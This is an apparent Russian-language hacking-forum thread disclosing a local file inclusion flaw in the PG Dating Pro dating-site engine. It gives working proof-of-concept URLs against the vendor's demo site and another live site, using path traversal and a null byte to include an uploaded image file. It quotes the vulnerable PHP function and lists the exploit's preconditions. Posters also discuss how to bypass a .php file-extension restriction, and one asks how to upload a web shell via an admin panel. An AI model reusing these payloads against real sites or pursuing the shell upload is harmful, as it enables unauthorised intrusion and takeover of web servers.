PDA

Просмотр полной версии : PG Dating pro [ALL VER.] - LFI


Pirotexnik
26.07.2012, 20:31
[Intro]​Расковырял двиг, нашел лфи.

Все версии уязвимы, включая демо на офф cайте.

Стоимость движка 340$

[PoC]​


http://demo.datingpro.com/dating/ecards.php?sel=pay_by_paysys&id_order=8&paysys=../../../version




http://elka.me/ecards.php?sel=pay_by_paysys&id_order=8&paysys=../../../uploades/icons/big_thumb_493_7f60a337.gif%00


[Vuln. Code]​


Code:
function PayFromPaysystem(){
global $lang, $config, $smarty, $dbconn, $user;

$form['file_name'] = "ecards.php";
$id_order = (isset($_REQUEST["id_order"]) && intval($_REQUEST["id_order"]) > 0) ? intval($_REQUEST["id_order"]) : null;
if ($id_order == null) {
header("Location: ".$config['server'].$config['site_root']."/".$form['file_name']);
} else {
$settings = GetSiteSettings(array('site_unit_costunit'));

$paysys = $_REQUEST["paysys"]; //получаем переменную

$card = GetCardOrderData($id_order);
$amount = $card["price"];
if ($amount == '0.00') {
header("Location: ".$config['server'].$config['site_root']."/".$form['file_name']);
}
$product_name = $amount." ".$settings["site_unit_costunit"]." ".$lang["cards"]["payment_product"];
$dbconn->Execute("INSERT INTO ".BILLING_REQUESTS_TABLE."
(id_user, id_product, count_curr, currency, date_send, status, paysystem, id_group) VALUES
('".$user[0]."', '-2', '".$amount."', '".$settings["abbr"]."','".date("Y-m-d H:i:s")."','send','".$paysys."','".$card['id_order']."')");
$id_trunzaction = $dbconn->Insert_ID();
include_once "./include/systems/functions/".$paysys.".php";//инклуд без фильтраций
MakePayment($paysys, $amount, $settings["site_unit_costunit"], $id_trunzaction, $product_name, array("force_disable_recurring"=>1));
header("Location: ".$config['server'].$config['site_root']."/".$form['file_name']."?sel=my_orders");
}
}

[Require]​1) нужно быть залогиненым

2) должна передаватся переменная id_order

©Pirotexnik

___

Дабы не создавать новых тем вопрос к форумчанам по поводу нормализации пути - на демо не могу обрезать .php, пробовал: %00 , /[4096]/, /.[4096]/., ./[4096]./. Стоит там Apache httpd 2.2.16 ((Debian)), версия php не известна. В чем соль?

___

UPD: соль была в MQ=on

Hapk
01.04.2013, 15:10
А кто может подсказать как залить шелл? просто есть доступ в админку